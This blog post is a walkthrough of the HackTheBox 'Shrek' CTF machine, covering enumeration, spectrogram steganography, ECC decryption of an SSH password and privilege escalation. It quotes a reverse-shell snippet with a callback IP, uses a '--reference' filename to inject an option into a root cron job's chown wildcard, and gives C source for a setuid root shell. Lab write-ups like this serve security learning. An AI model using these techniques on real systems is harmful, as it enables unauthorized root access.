Booj thoughts on security

HackTheBox - Shrek

This post will describe exploitation of the Shrek device on HackTheBox.

Shrek, also known as steganography hell, or ‘How the hell was anyone supposed to know to do that 7ckm3?’. It’s very much the resident CTF box, so techniques like steganography are more common than service mis-configurations. Also to be expected is a lot of trolling. In all honesty there’s a large burden of knowledge in this one with very little direction, but a couple of interesting techniques are still present.

Enumeration

Start a port scan and we three exposed services:

PORT   STATE SERVICE VERSION 
21/tcp open  ftp     vsftpd 3.0.3 
22/tcp open  ssh     OpenSSH 7.5 (protocol 2.0) 
| ssh-hostkey:  
|   2048 2d:a7:95:95:5d:dd:75:ca:bc:de:36:2c:33:f6:47:ef (RSA) 
|   256 b5:1f:0b:9f:83:b3:6c:3b:6b:8b:71:f4:ee:56:a8:83 (ECDSA) 
|_  256 1f:13:b7:36:8d:cd:46:6c:29:6d:be:e4:ab:9c:24:5b (EdDSA) 
80/tcp open  http    Apache httpd 2.4.27 ((Unix)) 
| http-methods:  
|_  Potentially risky methods: TRACE 
|_http-server-header: Apache/2.4.27 (Unix) 
|_http-title: Home 

The website exposed is just a strange Shrek fan-page with a number of memes chucked in. A quick dirbuster scan reveals an interesting directory however:

Dir found: /uploads/ - 200 

All that’s exposed in this is a directory listing with a number of scripts and shells which don’t run.

In secret_ultimate.php however, we find the following:

set_time_limit (0); 
$VERSION = "1.0"; 
$end_path = site/secret_area_51 // friggin' finally found the secret dir!! 
$ip = '10.10.14.63';  // CHANGE THIS 
$port = 1234;       // CHANGE THIS 

So the file is giving us a hint that we should check out the secret_area_51 directory. Navigating to it in our web browser we’re greeted by another exposed directory listing, but just an mp3 in this one.

As promised it’s an MP3 of Smash Mouth All Star, with a large amount of static near the end, so steganography is probably the name of the game here. Least Significant Bit and a search for plaintext strings don’t lead to much, so instead we open it up within Audio Visualizer and look at the spectrogram. One way of hiding information is by literally encoding images within the spectrogram.

As expected, we see FTP creds hidden within the audio file

donkey:d0nk3y1337!

-rw-r--r--    1 0        0            6144 Jan 19 07:22 03083c52cef548fdaa416b0f4385e016.txt 
-rw-r--r--    1 0        0           13312 Jan 19 07:22 167870c72de04b14b9801024efaa5d7a.txt 
-rw-r--r--    1 0        0           14336 Jan 19 07:22 1722b00bebb84cb7a4fe84b637e12665.txt 
-rw-r--r--    1 0        0            5120 Jan 19 07:22 198ddc5419864b1c8c90472e4a9de0bf.txt 
-rw-r--r--    1 0        0           14336 Jan 19 07:22 1d1f905b89c04a5f806a7f1979d8b1b3.txt 
-rw-r--r--    1 0        0            3502 Jan 19 07:22 2122db136dcf47b9bf1ecd3a01982cec.txt 
-rw-r--r--    1 0        0           10240 Jan 19 07:22 270e92f594044c818b698868a21b772f.txt 
-rw-r--r--    1 0        0           11264 Jan 19 07:22 2cb3ff68f5b648268d716eaa98e40ba1.txt 
-rw-r--r--    1 0        0           12288 Jan 19 07:22 372a10426e584b42a53357e933bc8d85.txt 
-rw-r--r--    1 0        0           14336 Jan 19 07:22 3c6619d39839414c9fdbe91e1937a9a6.txt 
-rw-r--r--    1 0        0            9216 Jan 19 07:22 4cce50f2926e4578b985ef2953a6b5a4.txt 
-rw-r--r--    1 0        0           12288 Jan 19 07:22 5fd14ca0476b4e28babdd423c207f2c2.txt 
-rw-r--r--    1 0        0           12288 Jan 19 07:22 606e4b3d641b471ea53fd5c348bbb610.txt 
-rw-r--r--    1 0        0            9216 Jan 19 07:22 72ff34474ce747529e188c7a6ee93df6.txt 
-rw-r--r--    1 0        0            4096 Jan 19 07:22 74c8965a356c43cfbb9504b2ab3b3b46.txt 
-rw-r--r--    1 0        0           12288 Jan 19 07:22 7e2775451cb34dffa1c0a86d7361f995.txt 
-rw-r--r--    1 0        0            7168 Jan 19 07:22 8da87b75c64243009740d30baa55c71a.txt 
-rw-r--r--    1 0        0           12288 Jan 19 07:22 9693709148b44762a53b03bfd3a3f04d.txt 
-rw-r--r--    1 0        0            8192 Jan 19 07:22 9af3d03ca63a43778ff10570439c1c0d.txt 
-rw-r--r--    1 0        0            3072 Jan 19 07:22 a19257e19ff943b6b4d8ad88285b31cc.txt 
-rw-r--r--    1 0        0            5120 Jan 19 07:22 a37390c62a9b4b14b0a1d61da4736e1e.txt 
-rw-r--r--    1 0        0            9246 Jan 19 07:22 a3e4d6a1bc6c4220ab3a199e5a9352a9.txt 
-rw-r--r--    1 0        0            8192 Jan 19 07:22 af1c926853814e919d0151eebbc2fd61.txt 
-rw-r--r--    1 0        0           12288 Jan 19 07:22 b6d1325e3b5b463096fcb2ef7a6b7adc.txt 
-rw-r--r--    1 0        0            5120 Jan 19 07:22 baf490d3b73d40ae8eca7bf558d6c3f7.txt 
-rw-r--r--    1 0        0            8192 Jan 19 07:22 c1d035b913a544319ae5723540f8fa87.txt 
-rw-r--r--    1 0        0            8192 Jan 19 07:22 c551f50d2b064b17a1bd11df5fc64a15.txt 
-rw-r--r--    1 0        0           12288 Jan 19 07:22 cd4914f5c60a4c0eab6b919d93c94a1c.txt 
-rw-r--r--    1 0        0            5120 Jan 19 07:22 d831052cd5eb421c8e53f54858275e60.txt 
-rw-r--r--    1 0        0           15360 Jan 19 07:22 e12e8441faa146e88e10ab3c26d390aa.txt 
-rw-r--r--    1 0        0           11264 Jan 19 07:22 f24bd832e0ac4350a5d43545e24c0bba.txt 
-rw-r--r--    1 0        0            1766 Aug 16 00:48 key 

We have a password protected SSH key, but no username to use it with, and

Run mget * within your ftp client to download everything to your local pc, and then cat *.txt to view all txt files.

We’re looking for anything out of the ordinary and within our files we see two base64 strings which are clearly visible within the text.

UHJpbmNlQ2hhcm1pbmc= 
J1x4MDFceGQzXHhlMVx4ZjJceDE3VCBceGQwXHg4YVx4ZDZceGUyXHhiZFx4OWVceDllflAoXHhmN1x4ZTlceGE1XHhjMUtUXHg5YUlceGRkXFwhXHg5NXRceGUxXHhkNnBceGFhInUyXHhjMlx4ODVGXHgxZVx4YmNceDAwXHhiOVx4MTdceDk3XHhiOFx4MGJceGM1eVx4ZWM8Sy1ncDlceGEwXHhjYlx4YWNceDlldFx4ODl6XHgxM1x4MTVceDk0RG5ceGViXHg5NVx4MTlbXHg4MFx4ZjFceGE4LFx4ODJHYFx4ZWVceGU4Q1x4YzFceDE1XHhhMX5UXHgwN1x4Y2N7XHhiZFx4ZGFceGYwXHg5ZVx4MWJoXCdRVVx4ZTdceDE2M1x4ZDRGXHhjY1x4YzVceDk5dyc= 

Decoding these, we get what looks like a series of bytes and a password.

PrinceCharming 
'\x01\xd3\xe1\xf2\x17T \xd0\x8a\xd6\xe2\xbd\x9e\x9e~P(\xf7\xe9\xa5\xc1KT\x9aI\xdd\\!\x95t\xe1\xd6p\xaa"u2\xc2\x85F\x1e\xbc\x00\xb9\x17\x97\xb8\x0b\xc5y\xec<K-gp9\xa0\xcb\xac\x9et\x89z\x13\x15\x94Dn\xeb\x95\x19[\x80\xf1\xa8,\x82G`\xee\xe8C\xc1\x15\xa1~T\x07\xcc{\xbd\xda\xf0\x9e\x1bh\'QU\xe7\x163\xd4F\xcc\xc5\x99w' 

Now this is where the hard part comes in! This looks like the result of encryption and the key, but how do you identify the algorithm used? In all honesty, as far as I’m aware, there’s no easy answer on how to solve this without trying a large number of different algorithms.

Working through a list such as this one can be useful but you still may come up lacking. Most of people’s time was spent on this stage when the device was first released, as a result.

To cut a long story short, after a bit of trial and error the result was encrypted with the Elliptic Curve Cryptography Algorithm. This is mostly commonly used in phones as an alternative to RSA due to it’s lower power requirements. For this we’ll be using the seccure tool:

import seccure 
second = "\x01\xd3\xe1\xf2\x17T \xd0\x8a\xd6\xe2\xbd\x9e\x9e~P(\xf7\xe9\xa5\xc1KT\x9aI\xdd\\!\x95t\xe1\xd6p\xaa\"u2\xc2\x85F\x1e\xbc\x00\xb9\x17\x97\xb8\x0b\xc5y\xec<K-gp9\xa0\xcb\xac\x9et\x89z\x13\x15\x94Dn\xeb\x95\x19[\x80\xf1\xa8,\x82G`\xee\xe8C\xc1\x15\xa1~T\x07\xcc{\xbd\xda\xf0\x9e\x1bh\'QU\xe7\x163\xd4F\xcc\xc5\x99w" 
print seccure.decrypt(second, "PrinceCharming") 

Running this outputs The password for the ssh file is: shr3k1sb3st! and you have to ssh in as: sec. So lets SSH to the box.

Privilege Escalation

So after a lot of searching, and a tonne of rabbit holes, we stumble across the /usr/src directory which has something very odd going on. It appears to be owned by our user sec and not root as it should be.

[sec@shrek usr]$ ls -la 
total 104 
drwxr-xr-x  8 sec  root  4096 Aug 16 00:59 . 
drwxr-xr-x 17 root root  4096 Aug  9 04:05 .. 
drwxr-xr-x  5 root root 36864 Aug 16 00:59 bin 
drwxr-xr-x 92 root root 12288 Aug 16 00:13 include 
drwxr-xr-x 67 root root 28672 Aug 16 00:13 lib 
lrwxrwxrwx  1 root root     3 Mar 26  2017 lib64 -> lib 
drwxr-xr-x 11 root root  4096 Aug  9 04:05 local 
lrwxrwxrwx  1 root root     3 Mar 26  2017 sbin -> bin 
drwxr-xr-x 71 root root  4096 Aug  9 05:39 share 
drwxr-xr-x  2 sec  root  4096 Aug 23 11:30 src 

Within, we find a single file, thoughts.txt with a Shrek quote within. This file is owned by root but writeable by us.

[sec@shrek src]$ ls -la 
total 12 
drwxr-xr-x 2 sec  root 4096 Aug 23 11:30 . 
drwxr-xr-x 8 sec  root 4096 Aug 16 00:59 .. 
-rw-r--r-- 1 root root   91 Aug 22 00:51 thoughts.txt 
[sec@shrek src]$ cat thoughts.txt 
That must be Lord Farquaad's castle... 
Do you think he's maybe compensating for something? 

After some testing of this directory, we decide to see if anything happens when we create a file.

[sec@shrek src]$ touch help.txt 
[sec@shrek src]$ ls -la 
total 12 
drwxr-xr-x 2 sec  root  4096 Jan 21 15:19 . 
drwxr-xr-x 8 sec  root  4096 Aug 16 00:59 .. 
-rw-r--r-- 1 sec  users    0 Jan 21 15:19 help.txt 
-rw-r--r-- 1 root root    91 Aug 22 00:51 thoughts.txt 

Nothing initially, but after a few minutes we see that this file has had its owner changed to the nobody user.

[sec@shrek src]$ ls -la 
total 12 
drwxr-xr-x 2 sec    root   4096 Jan 21 15:19 . 
drwxr-xr-x 8 sec    root   4096 Aug 16 00:59 .. 
-rw-r--r-- 1 nobody nobody    0 Jan 21 15:19 help.txt 
-rw-r--r-- 1 root   root     91 Aug 22 00:51 thoughts.txt 

This appears to be a similar class of vulnerability to the one found in the Joker machine. Effectively, they appear to be doing something akin to chown nobody:nobody * within a cron job. We can abuse the bash wildcard expansion by passing in a file which will appear during expansion to be an option to chown. See here for details on this vulnerability. We simply need to create a file --reference=thoughts.txt and all files within this directory will become owned by root as thoughts.txt is owned by root.

Let’s create a binary to spawn a shell:

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
int main( int argc, char *argv[] ) 
{ 
setresuid(0, 0); 
printf("ID: %d\n", geteuid()); 
execve("/bin/sh", NULL, NULL); 
} 

We now compile it, and set the output binary to be setuid.

[sec@shrek src]$ gcc shell.c -o shell 
[sec@shrek src]$ chmod u+s shell 

Wait a few minutes and:

We have a root owned suid shell. We just run it to get root privileges:

Shrek got Shrekt!

comments powered by Disqus